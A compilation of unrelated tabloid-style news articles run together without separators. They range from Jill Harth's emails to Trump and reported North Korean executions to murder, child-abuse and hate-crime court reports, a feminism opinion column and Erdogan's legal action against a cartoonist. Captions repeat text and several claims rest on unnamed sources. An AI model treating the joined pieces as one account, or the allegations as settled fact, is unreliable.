'I ... would like to show my support for Donald and his campaign. I am offering my services to do his grooming and getting him perfectly camera ready for photos and Hi-Definition TV,' Harth wrote to Graff in August 2015.

'I am definitely on Team Trump as so many others are,' she added in an October 2015 email to Trump himself, sent to him via Graff.

'I can't watch television without seeing you or hearing your name everywhere! It's a good thing for sure but PLEASE let me do your makeup for a television interview, a debate, a photo session, anything!'

In August 2015 Harth began pitching her makeup services to Trump via his longtime Trump Tower assistant Rhona Graff

'PLEASE let me do your makeup for a television interview, a debate, a photo session, anything!' Harth asked Trump in October 2015 as his campaign gathered steam

' If there's anything I can do to work on the campaign, I am ready and willing to work,' she declared in one January 2016 message

'It kills me to see you looking too orange and with white circles under the eyes. I will get your skin looking smoother and even toned and will sculpt your face to really show well with the Hi-Definition cameras you are on,' she added. 'We both know you've always been a handsome guy, but PLEASE let me show you how much BETTER you can look with my services and products.'

Harth claimed in her lawsuit that Trump made her feel 'degraded and humiliated as a female human being'  but she withdrew it after Trump and her then-husband ironed out some legal problems

Trump attorney Michael Cohen told DailyMail.com: at the time that 'Mr. Trump denies each and every statement made by Ms. Harth as these 24 year old allegations lack any merit or veracity.'

Harth's pestering of Trump Tower appeared to stop after a pair of January 2016 emails.

' If there's anything I can do to work on the campaign, I am ready and willing to work,' she declared in one message.

In the other Harth said she was 'definitely willing to work for the Trump campaign. I have others who will join me in supporting in any way we can as we want Donald J. Trump for President.'

Harth has continued to stand by her charges that Trump subjected her to a string of unwanted sexual advances after the pair first met at his offices in Trump Tower in December 1992 with her then-husband George Houraney.

Her lawsuit claimed Trump groped her under a table at a dinner party at the Plaza Hotel in New York City and later 'forcibly kissed' and 'fondled' her in Ivanka Trump's bedroom at the Mar-a-Lago resort club in Palm Beach, Florida a month later.

Harth, who claimed that Trump once 'had his hands all over her,' is pictured above doing CBS New York anchor Mary Calvi's makeup

In one January 2016 email, Harth offered that she 'would be willing to say at a rally or somewhere how [Trump] helped me with my self-confidence and all positive things about how he is with women'

Harth also alleged in the court documents that Trump wanted to turn her into his 'sex object and slave', and that on one occasion she was so disgusted by Trump's 'Svengali-type proclamations of "love"' that she vomited.

'He pushed me up against the wall, and had his hands all over me and tried to get up my dress again. And I had to physically say: "What are you doing? Stop it." It was a shocking thing to have him do this because he knew I was with George, he knew they were in the next room. And how could he be doing this when I'm there for business?' Harth recalled to The Guardian.

But Harth voluntarily dropped her lawsuit weeks after filing it, at around the same time Houraney and Trump settled a contractual dispute over beauty pageants they were both working on.
Kim Jong-un has executed a second official in just five days over a launch delay at North Korea's test missile site.

The unnamed executive allegedly took responsibility for setbacks at the Punggye-ri nuclear base which led to the date of a rocket launch being pushed back.

Five days ago, a high ranking official once described as the 'second most powerful man in North Korea' disappeared from public life, sparking speculation he may have been executed by death squads.

It is understood the most recent victim was the director of Bureau 131 - a man in charge of the building and running of the nuclear base.

Kim Jong-un (pictured) has executed a second official in just five days over a launch delay at North Korea's test missile site

The unnamed executive allegedly took responsibility for setbacks at the Punggye-ri nuclear base (pictured) which led to the date of a rocket launch being pushed back

Reports in the Japanese paper Asahi Shimbun suggest the director has been at the helm since it was formed.

The suspected execution was handed down over a delay to Pyongyang's sixth missile test and the subsequent collapse of tunnels which killed 200 workers.

A source told the paper: 'It seems he took the blame as the prolonged mining of the nuclear facility pushed back the test date to September when it was initially set for spring.'

Last month, Seoul warned that one more North Korean nuclear detonation could destroy its mountain test site and trigger a radiation leak.

South Korea says any future nuclear test by Kim Jong-un risks collapsing the location set aside for launching missiles.

Seoul detected several earthquakes near the hermit nation's nuclear test site in the country's northeast after its sixth and most powerful bomb explosion in September.

Experts say the quakes suggest the area is now too unstable to conduct more tests there.

US experts issued a similar warning, stating a second nuclear test site used by North Korea in the country's north west could cave in but that it won't be abandoned.

Five of Pyongyang's recent tests have been carried out under Mount Mantap at the Punggye-ri military base, which is located in the north west of North Korea.

But now the base is said to be suffering from 'Tired Mountain Syndrome' after three small earthquakes occurred nearby after the blasts.

A high ranking official once described as the 'second most powerful man in North Korea', has disappeared from public life, sparking speculation he may have been executed by death squads, just days after leader Kim Jong-un visted Mt. Paektu - a sign that suggested he was planning to execute a top aide

The speculation comes days after Kim Jong-un visited the significant Mt. Paektu on Friday, a sign that suggested he was planning to execute a top official. Such visits to the mystical mountain often precede important decisions by North Korean leaders.

Last week, speculation was rife of the execution of General Hwang Pyong-so, who was once the most senior military official in the hermit state as a Vice-Marshall after the supreme leader.

It came days after Kim Jong-un visited the significant Mt. Paektu, a sign that suggested he was planning to execute a top official.

Such visits to the mystical mountain often precede important decisions by North Korean leaders.

Pyong-so was reported to have been expelled from the party for 'taking bribes' and has not been seen since October.

His deputy Kim Wong-hong is said to have been banished to a prison camp.

The South Korean JoongAng Ilbo reported: 'If Hwang was indeed kicked out of the Workers' Party, it would practically mean the end of his political career, and possibly his life, though it is unknown whether or not he is still alive.'

'Kim visited the mountain and ordered the site managers to construct hospitable accommodations on the mountain for visitors,' the state-run KCNA reported.

In November 2013, the despot visited the mountain with his aides a month before he executed top officials including Jang Song-thaek, his uncle and political guardian. Kim visited the mountain again in April 2015, before executing Hyon Yong-chol, a former defense chief

In November 2013, the despot visited the mountain with his aides a month before he executed top officials including Jang Song-thaek, his uncle and political guardian.

Kim visited the mountain again in April 2015, before executing Hyon Yong-chol, a former defense chief.

He had also made a pilgrimage after North Korea's fifth nuclear test in September 2016

Pictures show Kim wandering around on the snow-capped mountain with hardly a bead of sweat and wearing spotless and shiny shoes. Kim made a trip to the summit after North Korea's fifth nuclear test in September 2016.

'[Kim Jong-un's father] Kim Jong-il did the same, he visited the mountain right before announcing in 1974 his list of 10 social decorum,' said a South Korean government insider.

'Kim also visited the mountain just before executing Kim Tong-kyu, then-senior official for international affairs, in 1977,' they added.

Mount Paektu has been decreed as the 'sacred' birthplace of the secretive state's first dictator, Kim's grandfather.

Pictures released by the regime show Kim in the snow on North Korea's border with China, which the regime rewrote history to claim was birthplace of Kim Il-Sung, the Communist who ruled from after the Second World War until 1994.

He was in fact born in the Soviet Union, but the mountain, has long been integral to the country's identity.

The mountain is believed to be the site of the deadliest volcano eruption in history and fears have been raised North Korea's nuclear testing could trigger another one

A North Korean poster depicting leaders Kim Jong Il (left) and Kim Il Sung at the summit of Mount Paektu

It is reputedly the birthplace of the earliest Korean leader ever recorded, Dangun, who according to legend founded the early kingdom of Gojoseon in 2333BC.

The mountain is believed to be the site of the deadliest volcano eruption in history and there are fears it may erupt again as a result of North Korea's nuclear weapons testing.

A thousand years ago it exploded so violently that ash fell as far away as northern Japan.

The mountain is considered holy by North Koreans, with dedicated supporters of the Kim dynasty carrying out pilgrimmages

Last year it emerged Kim Jong-un had ordered 340 executions in five years since seizing power - with almost half being senior officials from his own government, a report has claimed.

The North Korean dictator has used capital punishment to consolidate his position, according to the Institute for National Security Strategy, a South Korean think tank.

Of the 340 people he has put to death since 2011, 140 of them are said to have been senior government officials, the group claimed in a report called 'The misgoverning of Kim Jong Un's five years in power'.

In October last year, South Korea's spy agency reported that the despot had ordered the public execution of 64 'traitors' up to that point in 2016.

This sharp rise in the execution of officials was thought to have been a result of the dictator's increasing paranoia about his personal safety, the National Intelligence Service said.

It even exceeds the bloodshed of his father's early rule, they added.
A sex robot convention has been moved after terror threats from Islamic extremists.

The Third International Congress in Love and Sex with Robots was due to be held at Goldsmiths university in London today.

The two-day event, which was held at the venue last year, has been moved to a secret locations for security reasons.

Extra security officers have been drafted in to patrol the new venue in north London.

This year's event was expected to hear a pitch from Dr David Levy (pictured), author of Love and Sex with Robots, who claims that it is an 'odds-on cert' that humans and robots will soon make babies

The Third International Congress in Love and Sex with Robots was due to be held at Goldsmiths university in London today

Adrian David Cheok, co-founder of the conference and computer scientist, told the Daily Star Online that Malaysian police tipped him off about threats on the event.

He said: 'The event was originally supposed to be held at Goldsmiths University.'

'There were some threats that police had found from Muslim extremists. We took precautions because those groups are international.

'Robot sex is against the Muslim religion, it's equated to homosexuality.'

In December last year, the Second International Congress on Love and Sex with Robots took place at Goldsmiths University in London.

The event was cancelled in 2015 when it was due to be held in Malaysia, because the Chief of Police in Kuala Lumpur decreed that the subject was immoral and announced that he would throw the co-organisers in jail if it went ahead.

This year's event was expected to hear a pitch from Dr David Levy, author of Love and Sex with Robots, who claims that it is an 'odds-on cert' that humans and robots will soon make babies, given 'recent progress in stem cell research and artificial chromosomes.'

Dr Levy is set to reveal his predictions at the International Congress on Love and Sex with Robots in London tomorrow, according to the Daily Star Online

And while Dr Levy has not given a specific timeline for robot babies, he suggests that it could happen within the next 100 years.

Dr Levy is set to reveal his predictions at the International Congress on Love and Sex with Robots in London tomorrow, according to the Daily Star Online.

His predictions draw upon recent studies into stem cells, bio nanotechnology and robot genetics.

In particular, Dr Levy points to research from Ohio State University, where scientists developed a nanotechnology-based chip that can successfully inject genetic code into skin cells.

Dr Levy suggests that this chip process, known as tissue nano transfection (TNT), will allow 'the genetic code of a robot to be passed on to its offspring along with human genetic code'

Dr Levy suggests that this chip process, known as tissue nano transfection (TNT), will allow 'the genetic code of a robot to be passed on to its offspring along with human genetic code.'

According to the Daily Star Online, Dr Levy will say: 'Suddenly the very real possibility has appeared on the horizon of the robots of the future manipulating human skin cells to create human sperm and human eggs, and from them, using the Ohio discovery of TNT as the basis, creating an entire human baby whose embryo can be nurtured and carried through pregnancy by a mother surrogate.

A spokesperson for Goldsmiths, University of London said: 'While we are disappointed that, due to circumstances outside our control, this conference is not being held at Goldsmiths this year we fully support this important area of research and continue to host events on this topic.'
An iconic character from Charles Dickens' classic novella A Christmas Carol was based on a real doctor from Cornwall, a historian has claimed.

Barry West, 56, says tormented ghost Jacob Marley - Scrooge's former business partner in the book - was inspired by Dickens' time spent in the duchy in the 1800s.

He claims Dickens socialised with London physician Dr Miles Marley, who died on November 15, 1854, in fishing village Port Isaac - the set of ITV comedy Doc Martin.

Historian Barry West, 56, claims Charles Dickens' novella A Christmas Carol was inspired by his encounters in Cornwall during the 1800s, in particular with a Dr Miles Marley

The celebrated author was known to have visited Cornwall on numerous occasions and a few times before he wrote A Christmas Carol, visiting Land's End, Rock and Tintagel.

And Mr West, who lives in St Austell, has spent the last four years meticulously researching the connection to prove that large parts of the iconic festive tale were set in the county.

Theres definitely an old forgotten story about Dickens and Marley and Cornwall, but I wanted to find out the real facts," he said.

If you read A Christmas Carol, some of the passages and descriptions he writes - its undoubtedly based on the time he spent in Cornwall.

Miles Marley's burial certificate (third entry) shows he was laid to rest at the St Endellion Church near Port Isaac, Cornwall

Mr West managed to track down the physician's grave in the fishing village where BBC comedy Doc Martin is filmed

Mr West contacted the Dickens Society and an expert to enquire about the origins of the name Marley in the novel after being inspired by a visit to the Pickwick Inn pub near Padstow.

Samuel Pickwick is a fictional character and the main protagonist in The Pickwick Papers - Dickens' first novel.

The historian discovered that Miles Marley was buried St Endellion Church and tracked down his headstone.

He then received a newspaper clipping from the expert which said that the author had celebrated St Patrick's Day with Dr Marley at 11 Cork Street in Westminster, London.

It was said that Dickens told Marley, by the end of the year your name will be a household word," said Mr West, who works as a union official and studies Cornish history as a hobby.

I have no doubt that this is the same Dr Miles Marley that Charles Dickens dined with in London and the same Marley that the writer got the name for his character Jacob Marley.

Dr Miles Marley (left) was allegedly painted by count Paul Wonjersky, who is believed to be from the Polish Royal family, in return for medical treatment. Mr West found a old copy of the iconic novel in a pub in Kent while researching the author (right)

The historian also believes A Christmas Carol goes into detail about the countys rugged coastline, raging sea and even possibly one of Cornwalls most famous lighthouses.

There has been a lot of speculation on what lighthouse Dickens speaks about in the novel," said Mr West.

Many people thought that the lighthouse could be Trevose Head, but because we know where Dickens went when he visited Cornwall, the distance out to sea the lighthouse was and the year the story was written, in my mind, there is no doubt that it was the original Longships Lighthouse.
A friend of murdered Rebecca Dykes has revealed her agony after picking the bar the British diplomat visited before she was killed by an Uber driver in Beirut.

Reporter Bethan McKernan said she had recommended a bar that Ms Dykes, 30, visited before she was abducted in the Lebanese capital on Friday night.

The embassy worker's body was reportedly found in a dumpster by the roadside on Saturday evening before taxi driver Tarek Hesso, was arrested in a 3am raid on Monday.

Ms McKernan revealed she had been hit by two tragedies in four months, having also known Swedish reporter Kim Wall who was found dismembered after boarding a Danish inventor's submarine in August.

A friend of murdered Rebecca Dykes (pictured) has revealed her agony after picking the bar the British diplomat visited before she was killed by an Uber driver in Beirut

Reporter Bethan McKernan said she had recommended a bar that Ms Dykes (pictured), 30, visited before she was abducted in the Lebanese capital on Friday night

Rebecca Dykes was said to have been at a leaving party at the Demo nightclub (pictured) in Beirut before she went missing

Ms McKernan wrote on Twitter: 'For the 2nd time in 4 months, I am dealing with the horrific murder of a female friend.

'I am still grieving for Kim [Wall] and now I have to think about how I suggested this particular bar on Friday. I'm so sorry, Becky, for the violence men inflict on us.'

Ms Dykes is said to have been at a leaving party at the Demo nightclub in Beirut before she went missing.

According to Lebanon's NNA agency, Hesso admitted picking the diplomat up in his taxi, attempting to rape her and then strangling her before ditching her body.

The body of the former public schoolgirl was found by a motorway on Saturday evening several miles from the nightspot where she was last seen alive.

Investigators told MailOnline Hesso is 35 but a second senior security official in Lebanon said the suspect was aged 41 and had been arrested on drug-related charges in the period 2015-17.

Ms Dykes (pictured) started working for the government in 2010 and started working as a programme and policy manager in Lebanon since January

NNA said the suspect picked up Ms Dykes from Beirut's Gemayze neighborhood, known for its restaurants and pubs, then drove to a nearby neighborhood where she lived but did not drop her off there.

Her friend Ms McKernan, a Middle East reporter with The Independent, also revealed that she knew Swedish journalist Kim Wall.

Last month, Danish police said divers had found a second arm in the area where the rest of Ms Wall's body pars were discovered after she was killed onnoard an inventor's submarine.

The second arm, found in Koge Bay off Copenhagen, had been weighed down in a similar way as a left arm found a week earlier, the Copenhagen police said in a statement.

'We therefore assume that the arm is connected to the submarine case,' Copenhagen police chief investigator Jens Moller Jensen said in the statement.

In a grisly case that shocked the public, it has taken Danish authorities months to find 30-year-old Wall's body parts since she vanished after interviewing Danish inventor Peter Madsen, 46, on his homemade submarine on August 10.

Ms McKernan revealed she had been hit by two tragedies in four months, having also known Swedish reporter Kim Wall (pictured) who was found dismembered after boarding a Danish inventor's submarine in August

Wall's legs, torso and head, all found near Koge Bay, had also been weighed down with attached metal objects.

Madsen, who in October admitted dismembering Wall's corpse, is suspected of murdering her.

But he has denied the allegations and said he does not know how she died. He has told police she died below deck while he was up on deck.

Prosecutors have previously said they believe Madsen killed Wall as part of a sexual fantasy, then dismembered her body and threw her remains into the sea.
What IS feminism?

I realise that simply by asking that question as a man, I will be instantly accused of mansplaining by hordes of enraged women.

But just as I occasionally comment on the weather without ever having been to the Sun, I see no reason why I should not also be permitted to express an opinion about this subject given its relevance and prevalence in modern society.

My fresh interest was sparked by Emily Ratajkowski, the American model and actress.

Ms Ratajkowski recently posted a video on her Instagram of herself writhing semi-naked in spaghetti, complete with copious quantities of tomato sauce and various vegetables.

I love pasta and being greased up in olive oil more than life itself! she exclaimed in the promo for this ad, posted a few weeks ago

I love pasta and being greased up in olive oil more than life itself! she exclaimed in the promo for Love magazine.

Alongside her post, she wrote: Personal choice is the core ideal in my concept of feminism. Im tired of having to consider how I might be perceived by men if I post a sexy Instagram. I want to do what I want to do. Feminism isnt about adjusting, its about freedom and choice.

I responded by evoking the memory of the extraordinarily courageous heroine of the 19th Century suffragette womens rights movement that ultimately won British women the right to vote.

Somewhere, I tweeted, Emmeline Pankhurst just vomited.

To which London-born Ms Ratajkowski, with no apparent semblance of self-awareness of even her own words, retorted: Lol, never said my love video was a feminist statement.

Yet that was EXACTLY what she had said.

Why does any of this matter?

Well, I certainly dont care that Emily Ratajkowski, an undeniably beautiful and sexy woman, likes to take her clothes off and writhe in spaghetti.

Each to their own, so long as you dont scare the children or horses - right?

But its where she conflates this behaviour with feminist empowerment that I have an issue.

Taking her argument to its logical conclusion, Ms Ratajkowski could commit mass murder but so long as she found it empowering then that would automatically make it an act of feminism.

Which I would hope we can all agree is ridiculous.

Today, in a new interview for Grazia magazine, Ratajkowski branded me a sexist for daring to question her motives for the video.

Today, in a new interview, Ratajkowski branded me a sexist for daring to question her motives for this video

I think theres a valid argument behind the idea that sexiness is patriarchal and thats problematic, she opined. It can be really limiting to young women who feel like thats their self-expression; someone telling them that they cant do that is suppressing. Its not taking people seriously because of how they present themselves, which women get a lot more than men.

Ah, of course!

Because if I stripped naked tomorrow and writhed about in spaghetti, and then posted the video on MY Instagram claiming it was empowering to men, everyone would take me so seriously!

What a load of insane, incomprehensible gibberish.

The reason Emily Ratajkowski made the video had nothing to do with feminist empowerment and everything to do with attention-seeking and marketing her naked beauty.

Neither of which I have any problem with, indeed I do exactly the same myself.

Emily Ratajkowski made the video because she's attention-seeking and marketing her naked beauty, not feminist empowerment. I have no problem with that and have done the same, seen here

But to justify it as empowering and liberating to women like shes some modern day Pankhurst-style suffragette is as absurd as its offensive.

The truth, surely, is that deliberately exposing yourself to instant and inevitable sexual objectification by millions of complete strangers is the complete opposite of feminism?

To understand why I say this, its important to understand the genesis and evolution of feminism.

The word itself is derived from the French word feminisme which was coined, ironically, by a man - philosopher Charles Founier - in 1837.

He invented it to mean the indelible link between womens status and social progress. Liberty, unless enjoyed by all, he wrote, is unreal and illusory.

In other words, true freedom cant be achieved without true equality.

If you look up feminism in the dictionary today, it is defined thus: the advocacy of womens rights on the ground of the equality of the sexes.

So, nearly 300 years later, it is still understood to be about equality.

That brings me back to Ms Ratajkowski.

How exactly does writhing naked in spaghetti fit in with this ideal?

What does it have to do with equality?

If you look up feminism in the dictionary, it is defined: the advocacy of womens rights on the ground of the equality of the sexes. How exactly does writhing naked in spaghetti fit in with this ideal? What does it have to do with equality? A man would be mocked for a similar stunt

What man would not be instantly mocked and ridiculed if he pulled a similar stunt?

The answer to these questions is obviously it doesnt, nothing and no man.

Ms Ratajkowski has form for this kind of thing.

Her ruthlessly cynical modus operandi follows a rigidly familiar pattern:

She poses for deeply provocative semi-naked images, posts them on social media to tens of millions of people, says shes doing it to promote feminist empowerment, and then screams SEXIST! if men like me dare to suggest this is ludicrous.

The most infamous example of this came when Kim Kardashian posted a naked photo of herself two years ago and played the feminist empowerment card.

After I harangued her for it, Ratajkowski tweeted: Love when a man comments on a decision to post a nude photo. Her body, her career. Sexist bullsh*t.

She then posed together with Kardashian for a bird-flipping topless selfie  once again depicting it as a supposed show of feminist empowerment.

But to whom, exactly, was it empowering?

After Kim Kardashian posted a naked photo of herself two years ago and played the feminist empowerment card, Ratajkowski defended her and called me 'Sexist bullsh*t. She then posed together with Kardashian for this bird-flipping topless selfie. To whom is this empowering?

To my eyes, all it did was send a warped, dangerous message to millions of impressionable young girls that the only way to succeed in life is to strip off and shamelessly sell your naked body to the world.

Thats a word for that kind of behaviour and its not feminism.

The fight for gender equality, as with the fight for racial equality, has been a long and brutal one.

Emmeline Pankhurst and her suffragettes literally risked their lives and liberty to wage a relentless and often violent struggle for it.

In 1913, one of them, Emily Davison, was killed when she threw herself under the Kings horse at the Derby as a protest against the governments continued failure to grant women voting rights.

Just before Pankhurst died in 1928, women were finally given the vote.

She won her fight, and by doing so, she landed a massively powerful blow for womens equality.

I always think of her whenever I see the likes of Ratajkowski or Kardashian posting naked photos and claiming they are doing it for feminist empowerment, and Im not the only one.

Emmeline Pankhurst and her suffragettes risked their lives and liberty. Just before she died in 1928, women were finally given the vote. I think of her often when I see the naked photos done for 'female empowerment'. Even her great-granddaughter Helen has called it 'disingenuous'

It is rather disingenuous of Kim Kardashian and Emily Ratajkowski to say they are doing this in the name of liberation, said Pankhursts great-granddaughter Helen Pankhurst in a newspaper column. The fact is they are conventionally beautiful women who have created a sexy image of themselves as naked. Would they be sharing all in the name of liberation if they had average bodies and carried a little extra weight? It could be argued that they are contributing to sexual objectification  the very opposite of liberation. And this is a problem for the millions of women, especially teenage girls across the world who are routinely made to feel their worth measured in terms of their sexual attractiveness and more dangerous still, in direct proportion to how much they weigh. How many people are held back by low self-esteem, eating disorders, exercise and even self-harm as a result of worship of unobtainable standards of beauty? And the saddest thing is that they are unobtainable; in most cases, they are literally not real. Photoshop is a big part of the problem.

Exactly.

We all saw  to her horror - what Kim Kardashian really looks like naked when those uncensored beach snaps emerged earlier this year.

Her brand, like Ratajkowskis, is just a photo-shopped illusion.

And its such a dangerous distracting illusion at a time when the fight for womens rights has never been more vital.

As Helen Pankhurst added: Women represent two-thirds of those who cannot read and write; less than one in five landholders are women; one in three women worldwide are exposed to physical or sexual violence from a partner in their lifetime; globally, women earn 24% less than men and on average, women spend twice as much time on household chores than men and four times as much time on childcare.

She concluded: We still do not live in a world where women and men can have the same aspirations and the same opportunities. There are millions of feminists  women and men  for whom the term still has a meaning and purpose. Feminism is both alive and urgent.

Yes, it is.

I consider myself a feminist and I passionately believe in the principle of gender equality.

If theres a protest march for that, then count me in.

But Im never going to march for Emily Ratajkowskis right to strip naked in spaghetti  and nor should any genuine feminist.
A man convicted of the murder of a gender fluid teenager has been sentenced to life in prison without the possibility of parole.

Jorge Sanders-Galvez, 23, invited Kedarie Johnson, 16, who identified as both a man and woman, home for a threesome with Sanders-Galvez's cousin, Jaron Purham, 25.

But when the men found out that Johnson, who also went by the name Kandicee, was biologically male, they brutally murdered him in an alley.

Jorge Sanders-Galvez was sentenced to life in prison without the possibility of parole

Family, friends and teachers have said Johnson, a popular Burlington High School student, regularly alternated his attitude and clothes between a boy and a girl

Sanders-Galvez also faces the possibility of the death penalty if tried for Kedarie's murder under hate crimes laws

Sanders-Galvez's trial was told that Kedarie was tortured before being killed by him and his cousin

Family, friends and teachers have said Johnson, a popular Burlington High School student, regularly alternated his attitude and clothes between a boy and a girl based on his mood that day.

Prosecutors told the jury during his trial that Johnson was 'tortured' by the defendants before being executed.

Johnson's body was found March 2, 2016, in an alley behind a Burlington home, a plastic garbage bag wrapped around the teen's head.

Investigators say bleach had been poured on the bullet-riddled body in an apparent attempt to destroy DNA evidence.

Katrina Johnson was comforted as she listened to her victim statement read out in court

Kedarie was a 'loving son, brother, grandson, nephew and cousin', Katrina Johnson, pictured during the trial, told the sentencing hearing

During the 20 minute sentencing hearing, Kedarie's mother Katrina Johnson sat in the first row of the courtroom, crying as her court advocate, Penny Galvin, read her victim-impact statement.

Cedric Pederson, Kedarie's brother and best friend, comforted his mother as her body heaved with tears during as her statement was read aloud.

'My son, Kedarie Johnson, was a loving son, brother, grandson, nephew and cousin,' Galvin read on Katrina Johnson's behalf, the Des Moines Register reported.

'He was very compassionate and caring and he had an infectious smile. Kedarie could walk into a dull room and it would be filled with light and joy.

'Kedarie was robbed and deprived of his life. He was still a baby; my loving baby, who still had his whole life ahead of him.

Katrina Johnson's victim statement was read in court by Penny Galvin. In it, she said her son 'had his whole life ahead of him'

'And from March 2, 2016, until I take my last breath, I will forever have a deep hole in my heart. I hope he gets the time he deserves and rots in hell.'

Asked if he had anything to say, Sanders-Galvez simply replied 'no'.

U.S. Attorney General Jeff Sessions brought national attention to the case when he sent a federal hate crimes prosecutor to assist state and local authorities.

Sanders-Galvez's co-defendant, Jaron Purham, 25, also of St. Louis, remains in the Lee County jail in lieu of a $2 million bond.

A trial date has not been set in his first-degree murder case.

The men also are facing possible capital murder charges if they are tried in the U.S. District Court in Davenport on hate crime charges related to the murder.

If they are convicted of Johnson's death as a hate crime under federal law, they could face the death penalty because a firearm was used to kill the teenager.

After he was sentenced, it emerged Sanders-Galvez also is facing charges of attempted murder and assault on a correctional officer.
Paedophile Timothy Smith, from Tunbridge Wells in Kent, was jailed for 14 years

A ghost-hunting supermarket security guard who flew to the Philippines so he could film himself abusing a toddler has been jailed for 14 years.

Timothy Smith, 42, from Tunbridge Wells in Kent, boasted to police of his sexual interest in children as young as two and told how he had been offending for a decade.

However, the pervert did not see himself as a law-breaker, Maidstone Crown Court heard.

Smith, who worked as a security guard for Tesco and founded a small ghost-hunting group in Kent, was handed the extended sentence with a minimum term of 10 years on Tuesday after admitting 16 sexual offences.

Officers found a hoard of more than 37,000 indecent images of children on computers and hard drives when they raided his home.

They also found Smith kept videos of the attacks he carried out on a two-year-old girl he flew out to the Philippines to abuse in 2015.

Judge Martin Joy, sentencing, said: 'There is no doubt you do pose a very great danger, a significant danger, to children.'

Smith, pictured left and right, who also ran a ghost-hunting group, was also found with more than 37,000 child porn images on his computer

Judge Joy branded Smith's crimes 'abhorrent' and said they involved 'significant planning', adding: 'You frankly admitted or even boasted of your interest in children as young as two years old.'

He said the abuse had a particularly devastating effect on one victim who later tried to kill herself.

Judge Joy added: 'You do not see yourself as a law-breaker. You describe yourself as a paedophile with a sexual interest in children.'

Smith openly discussed his plans to travel to the Far East on social media.

Tesco security guard Timothy Smith, pictured, who was jailed after admitting abusing a child in the Philippines

He would also post pictures of himself at work in Tesco and searching for ghosts in graveyards at night as part of the Supernatural and Paranormal Investigation Team he founded.

Judge Joy expressed surprise he had been allowed out on bail and said it was 'remarkable' that he had been cautioned in 1995 for such an offence as sexual assault of a child under the age of four.

Wearing a green fleece, Smith showed no emotion when he was led away from the dock to the cells.

Smith, pictured, showed no emotion as he was jailed for 14 years after a judge called his crimes 'abhorrent'

The extent of Smith's crimes emerged after Kent Police investigated suspicious online activity at his home.

He was arrested in November last year after officers searched the property.

A stash of videos they found had a total playback time of more than two days and nine hours, police said.

Many of the thousands of images they contained were classed as category A, the most serious kind.

Smith said he would share 'extensive volumes of illegal videos and images' and even confessed to meeting another sex offender to hand over 45 DVDs of material.

During police interview he readily confessed to searching and downloading indecent images of children as well as visiting the Philippines to repeatedly abuse the girl and told officers it was 'his thing', Kent Police previously said.

Smith pleaded guilty to three counts of sexual assault of a child between August and November 2015, three counts of distributing indecent images of children, three of taking indecent images of children, six counts of making indecent images of children, and one of sexual activity with a child in August 2013.

A charge of rape of a baby under 12 months old, which Smith denied, was left to lie on file.
The president of Turkey has launched legal action to remove a Dutch cartoonist's picture of him having sex with the Twitter emblem, press in the Netherlands are reporting.

Political cartoonist Ruben Oppenheimer published the crude image - which depicts Mr Erdogan wearing underwear with an ISIS flag printed on them while having sex with the famous Twitter blue bird logo - on the social media site.

But this month, Mr Oppenheimer revealed that he was contacted by email about the court order by Twitter Legal.

He said: 'At first I thought it was spam. Until I opened the attached PDF file.

Political cartoonist Ruben Oppenheimer's crude image depicts Turkey's president Erdogan wearing underwear with an ISIS flag printed on them while having sex with the famous Twitter blue bird logo

Political cartoonist Ruben Oppenheimer (pictured) published the insulting image earlier in the year

The letter from Twitter said the company did not plan to take any action against Oppenheimer, but merely wanted to inform him about the court order

In the Turkish text, Erdogan's name is shown next to words roughly translated as 'requesting' while 'twitter.com' is next to words roughly translated as 'opponent'

'In the accompanying text Twitter explains that it is a court order from a Turkish judge in Istanbul which they want to inform me about.'

In the Turkish text, Mr Erdogan's name is shown next to words roughly translated as 'requesting' while 'twitter.com' is next to words roughly translated as 'opponent'.

Links to Mr Oppenheimer's tweets are then listed, as well as to around 80 other Twitter users who also published or retweeted the cartoon.

The cartoon also includes a title - 'Erdogan is not a goatf*****' - as a reference to German comedian Jan Boehmermann, who was a victim of legal action after he wrote a poem saying Erdogan loved to 'f*** goats.'

The letter from Twitter said the company did not plan to take any action against Mr Oppenheimer, but merely wanted to inform him about the court order.

It noted, however, that 'we may be obliged to take action regarding the content identified in the legal request in the future'.

The Dutch cartoonist said he did not intend to remove the cartoon voluntarily and 'politely' told Twitter that he would not comply.

Dutch justice minister Ferdinand Grapperhaus, meanwhile, spoke today to defend Mr Oppenheimer.

AD reported that he told the country's parliament: 'We do not execute requests that are contrary to freedom of expression. There can be no question of extradition of a Dutch cartoonist.'

The Dutch cartoonist (pictured) said he did not intend to remove the cartoon voluntarily and 'politely' told Twitter that he would not comply

He was responding to a question from the MP Sven Koopmans - a member of the government party VVD - who sought to defend both Oppenheimer and freedom of expression.

He wrote on Twitter: 'Scandalous attempt by Pres Erdogan to curtail our freedom of speech! He must stay away from our fundamental rights. NL must stand in the way of artists of the word.'

Mr Oppenheimer himself said: 'Christmas came early this year in the form of a court order on behalf of my great goat f****** friend Erdogan.'

He asked other people to share the cartoon in support of freedom of expression.

Mr Oppenheimer added: 'I won't do anything for the time being. I informed myself with the Dutch Association of Journalists, of which I'm a member.

'They said that I don't need to take action until a registered letter arrives on my doormat.

'To be sure, I asked in The Hague if the Netherlands has an extradition order with Turkey. There is indeed such an order, but it does not count for minor cases such as cartoons.

'In the meanwhile I will wait and will not book my summer holidays to Turkey out of security reasons.'

Last year, Facebook removed Mr Oppenheimer's cartoon from their social media platform, saying it violated their guidelines.

Facebook wrote: 'We use the same guidelines worldwide that have been developed to make Facebook a safe place.'
Six alleged members of the white supremacy Ghost Face gang have been charged over the beating and stabbing death of a man in Georgia earlier this year.

Authorities say the gangsters attacked the white man as they broke into his car in Canton, just outside of Atlanta, on March 8.

The group, including five men and one woman, were indicted by a Cherokee County grand jury last week on various charges including violating the Street Gang Terrorism and Prevention Act.

William Jeff Goodman, 24, and Heather Grace Rodgers, 20, are among the six charged over the beating and stabbing death of a man in Georgia earlier this year

Those charged include Houston Halton Garner III, 29, William Jeff Goodman, 24, Michael Lloyd Gravely, 26, Corey James Ray, 34, and Frankie Cain Gilley, 22, and 20-year-old Heather Grace Rodgers.

Court records indicate the victim was beaten with a belt and buckle before being stabbed twice in the neck and lower back, the Atlanta Journal-Constitution reports.

The man was taken to nearby WellStar Kennestone Hospital for treatment.

The victim was 22 at the time.

Goodman and Rodgers are accused of stabbing the man.

Corey James Ray, 34, and Houston Halton Garner III, 29, both face assault charges in relation to the attack back in March

Frankie Cain Gilley, 22, and Michael Lloyd Gravely, 26, also face assault charges

The indictment states that Rodgers broke into the victim's pickup truck to steal a white bandanna. She is also charged with criminal trespass and entering an automobile.

Additionally, Garner III faces assault and battery charges, while Gravely, Ray and Gilley face an assault charge each.

